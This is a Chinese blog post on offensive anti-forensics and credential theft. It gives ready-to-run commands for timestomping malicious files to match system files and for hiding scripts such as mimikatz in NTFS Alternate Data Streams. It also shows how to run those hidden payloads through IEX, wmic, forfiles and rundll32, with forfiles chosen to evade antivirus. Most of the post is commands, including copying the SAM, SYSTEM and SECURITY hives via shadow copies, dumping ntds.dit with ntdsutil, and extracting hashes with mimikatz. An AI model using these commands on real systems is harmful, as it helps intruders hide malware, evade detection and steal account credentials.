文件系统隐藏技术

2025-10-16 97 10/16

文件系统隐藏技术

一、时间戳修改

(一)文件时间戳

Windows(NTFS文件系统)的MACE时间

  • Mtime (Modification Time / 修改时间):文件内容的最后修改时间。

  • Atime (Access Time / 访问时间):文件内容的最后访问时间。

  • Ctime (Creation Time / 创建时间):文件的创建时间。

  • Etime (Entry Modified Time / 条目修改时间):它记录的是文件元数据(比如文件名、权限、大小、其他时间戳)被修改的时间。当我们修改M/A/Ctime时,这个Etime就会更新,分析者看到很近的Etime就会知道我们进行过改动。

Linux (Ext4 等文件系统) 的时间:

  • atime (Access Time):文件内容的最后访问时间

  • mtime (Modification Time):文件内容的最后修改时间

  • ctime (Change Time / Status Change Time):文件状态的最后改变时间

(二)WIndows系统修改时间戳

假定我们有一个恶意脚本名为payload.exe,文件在桌面上文件路径为:C:\Users\28374\Desktop\payload.exe

我们在Powershell中执行命令修改

$MFile = "C:\Users\28374\Desktop\payload.exe"
$LFile = "C:\Windows\System32\drivers\etc\hosts"

$LCreationTime = (Get-Item $LFile).CreationTime
$LWriteTime = (Get-Item $LFile).LastWriteTime
$LAccessTime = (Get-Item $LFile).LastAccessTime

Get-Item $MFile | Select-Object Name, CreationTime, LastWriteTime, LastAccessTime, @{N='EntryModifiedTime';E={$_.PSBase.Properties['LastAccessTimeUtc'].Value}}

(Get-Item $MFile).CreationTime = $LCreationTime
(Get-Item $MFile).LastWriteTime = $LWriteTime
(Get-Item $MFile).LastAccessTime = $LAccessTime
  • MFile变量定义我们恶意文件路径

  • LFile变量定义系统合法文件路径

  • $LCreationTime = (Get-Item $LFile).CreationTime
    $LWriteTime = (Get-Item $LFile).LastWriteTime
    $LAccessTime = (Get-Item $LFile).LastAccessTime

    获取合法文件时间戳

  • Get-Item $MFile | Select-Object Name, CreationTime, LastWriteTime, LastAccessTime, @{N='EntryModifiedTime';E={$_.PSBase.Properties['LastAccessTimeUtc'].Value}}

    恶意文件原始时间戳

  • 修改CreationTime, LastWriteTime, LastAccessTime

    (Get-Item $MFile).CreationTime = $LCreationTime
    (Get-Item $MFile).LastWriteTime = $LWriteTime
    (Get-Item $MFile).LastAccessTime = $LAccessTime

修改后Etime还是最新时间,但总比都是最新时间好

文件系统隐藏技术

如果选择控制不更新Etime,我们还可以调用WinAPI中SetFileTime函数实现

(三)Linux系统修改时间戳

假定我们有一个恶意脚本名为payload.sh,恶意脚本路径为/tmp/payload.sh,我们将其修改为与/bin/bash时间戳一样的

MFILE="/tmp/payload.sh"
LFILE="/bin/bash"
stat "$MFILE" | grep "Access\|Modify\|Change"
touch -r "$LFILE" "$MFILE"
stat "$MFILE" | grep "Access\|Modify\|Change"

文件系统隐藏技术

二、ADS 技术介绍

Alternate Data Streams (ADS)是 WIndows NTFS 文件系统的一个特性,允许在;一个文件(或目录)的主数据流之外,附加一个或多个命名数据流。这些附加流在WIndows资源管理器中默认不可见,也不计入主文件的大小。

ADS 本身是一种存储隐藏而非执行隐藏。但通过 ADS 存储的恶意代码,可以配合各种执行方法(如 powershell.exe -e 读取 ADS 并执行、makecab 提取 ADS 文件执行等),实现“存储免杀”到“执行免杀”的转化。

可以将 Shellcode 存储在 ADS 中,然后通过一个加载器读取 ADS 内容到内存中执行,从而实现文件落地(ADS)但内存执行的隐蔽链条

ADS 仅在 NTFS 文件系统上可用。如果你将文件移动或复制到 FAT32 或其他非 NTFS 格式的磁盘分区,ADS 流数据将会丢失。

三、ADS 技术实现

  • 创建 ADS:通过命令行 echo 重定向、type 命令重定向、 PowerShell 命令

  • 读取 ADS:通过 more < 文件名:流名notepad 文件名:流名 或 PowerShell Get-Content 命令

  • 执行 ADS:间接执行(如 PowerShell 读取 ADS 内容并执行)或直接执行(如 start 文件名:流名.exewmic process call create "cmd.exe /c 文件名:流名.exe"

  • 删除 ADS:通过 del 命令结合流名,或 PowerShell Remove-Item

(一)创建和写入ADS

向一个文件中塞入ADS流

方法一echo重定向写入

打开cmd命令行

echo "This MINI ONE" > C:\Users\28374\desktop\read.txt:secret.txt

使用dir命令可以对比前后内容发现read.txt的文件大小没有改变

方法二type重定向写入

我们还可以将现有文件的内容藏到ADS中

如恶意Powershell脚本mimikatz.ps1,我们要藏到C:\Windows\System32\license.rtf 的 ADS 里

打开cmd命令行

type C:\Temp\mimikatz.ps1 > C:\Windows\System32\license.rtf:mimikatz.ps1

方法三:Powershell中的 Set-ContentAdd-Content 来操作 ADS

  1. 写入内容

Set-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "secret.txt" -Value "This MINI ONE"
  1. 追加内容

Add-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "secret.txt" -Value "That MINI TWO"
  1. 查看内容

Get-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "secret.txt"

文件系统隐藏技术

(二)读取ADS中的数据

方法一cmdmorenotepad命令

more < C:\Users\28374\desktop\read.txt:secret.txt

直接在终端界面输出显示

notepad C:\Users\28374\desktop\read.txt:secret.txt

打开notepad并显示

方法二:Powershell命令

Get-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "secret.txt"

获取并显示 read.txt 中 secret.txt 流的内容

(三)执行ADS中存储的Payload

例一:执行ADS中的Powershell脚本
  1. 创建并写入恶意PS脚本到ADS

$maliciousScript="Start-Process calc.exe"

其功能为启动计算器

写入ADS,写入文件路径C:\Users\28374\desktop\read.txt

Set-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "my_script.ps1" -Value $maliciousScript
  1. 执行ADS中的PS脚本

IEX (Get-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "my_script.ps1")

例二:执行ADS中存储的可执行文件(EXE/DLL)

我们可以将一个完整的evil.exe藏到goodfile.txt:evil.exe 里面,然后执行

  1. 将合法的calc.exe写入ADS

cmd
type C:\Windows\System32\calc.exe > C:\Users\28374\desktop\read.txt:calc.exe
  1. 执行ADS中的EXE

wmic process call create "C:\Users\28374\desktop\read.txt:calc.exe"

使用wmic会直接被杀软拦

我们可以更进一步选一个LOLBAS启动我们的进程

forfiles /p "C:\Windows\System32" /m notepad.exe /c "C:\Users\28374\desktop\read.txt:calc.exe"

使用forfiles 的 /c 参数直接执行ADS路径里的二进制

如果是Dll的话,我们可以使用rundll32

rundll32 "C:\Users\28374\desktop\read.txt:evil.dll",EntryPoint

(四)删除ADS

del C:\Users\28374\desktop\read.txt:secret.txt

或者Powershell

Remove-Item -Path C:\Users\28374\desktop\read.txt -Stream "calc.exe"

四、注册表配置单元介绍

  • 注册表 (Registry):Windows 操作系统用于存储系统和应用程序配置信息的层次结构数据库

  • 注册表配置单元 (Registry Hives):注册表数据的物理存储文件,存储在磁盘上,是注册表逻辑结构的组成部分

(一)重要注册表物理存储路径及相关内容

  • SYSTEM : C:\Windows\System32\config\SYSTEM

    内容:系统启动信息、设备驱动程序配置、服务配置、启动模式等

  • SAM : C:\Windows\System32\config\SAM

    内容:安全账户管理器,存储本地用户、用户组、密码哈希、权限信息

  • SECURITY : C:\Windows\System32\config\SECURITY

    内容:系统安全策略、本地安全权限、LSASS 安全相关数据

  • DEFAULT : C:\Windows\System32\config\DEFAULT

    内容:默认用户配置,系统服务、未登录用户时使用的默认配置项

  • NTUSER.DAT : C:\Users\ 用户名 \NTUSER.DAT

    内容:当前用户配置,桌面、资源管理器、用户级软件设置、个性化信息

(二)Hive文件锁定

当WIndows运行时,这些Hive文件是被系统独占锁定的,我们不能直接复制或读取它们,所以需要以下方式:

  1. 卷影复制服务 :VSS 可以在系统运行时创建文件系统的一致性快照,我们可以从这个快照中复制 Hive 文件

  2. 在系统关机状态下:如果能拿到物理硬盘,或者在启动 PE 系统等离线环境下,就可以直接复制 Hive 文件

  3. 利用工具:如 mimikatzsecretsdump.py这样的工具可以直接从内存中或通过绕过文件锁定来提取 SAMSYSTEM 的哈希信息

五、注册表配置单元实现

接下来我们将从四个方面对注册表配置单元的操作进行实现,获取、加载、分析。

(一)获取

Powershell 下,我们必须满足权限足够(Administrators), 普通用户无法创建/访问影子副本,并启用VSS服务,杀软在当前环境下还是会拦截此行为链。

# 先创建新影子(推荐,避免用旧的可能有问题)
$create = Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create -Arguments @{Volume="C:\"}
$shadowID = $create.ShadowID

# 获取这个新创建的(最可靠)
$shadow = Get-CimInstance Win32_ShadowCopy | Where-Object { $_.ID -eq $shadowID }

# 构建路径(用 DeviceObject 更稳定,避免 GUID 解析出错)
$shadowPath = $shadow.DeviceObject + "\"

# 目标目录
$target = "C:\Temp\Hives"
New-Item -Path $target -ItemType Directory -Force | Out-Null

# 用 esentutl 逐个拷贝(内置工具,支持 VSS + 绕过部分锁定,成功率远高于 robocopy)
esentutl.exe /y "$shadowPath\Windows\System32\config\SAM"     /d "$target\SAM"     /vss /8 /!64
esentutl.exe /y "$shadowPath\Windows\System32\config\SYSTEM"  /d "$target\SYSTEM"  /vss /8 /!64
esentutl.exe /y "$shadowPath\Windows\System32\config\SECURITY" /d "$target\SECURITY" /vss /8 /!64

# 清理影子
$shadow | Remove-CimInstance -ErrorAction SilentlyContinue
  1. DC域控使用ntdsutil

使用Powershell,我们可以拿到ntds.dit(域数据库文件)和SYSTEMHive

ntdsutil 'ac i ntds' 'ifm' 'create full C:\Temp\NTDS' q q

(二)加载

reg load HKLM\Offline_SYSTEM C:\Temp\Hives\SYSTEM

将 C:\Temp\Hives\SYSTEM 文件加载到本地注册表的 HKLM 下,并命名为 Offline_SYSTEM

(三)分析

下载到我们本地后,我们就可以随意使用mimikatz等工具进行信息提取了

mimikatz.exe "lsadump::sam /sam:C:\Temp\Hives\SAM /system:C:\Temp\Hives\SYSTEM" "exit"

提取SAMSYSTEM中的哈希

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论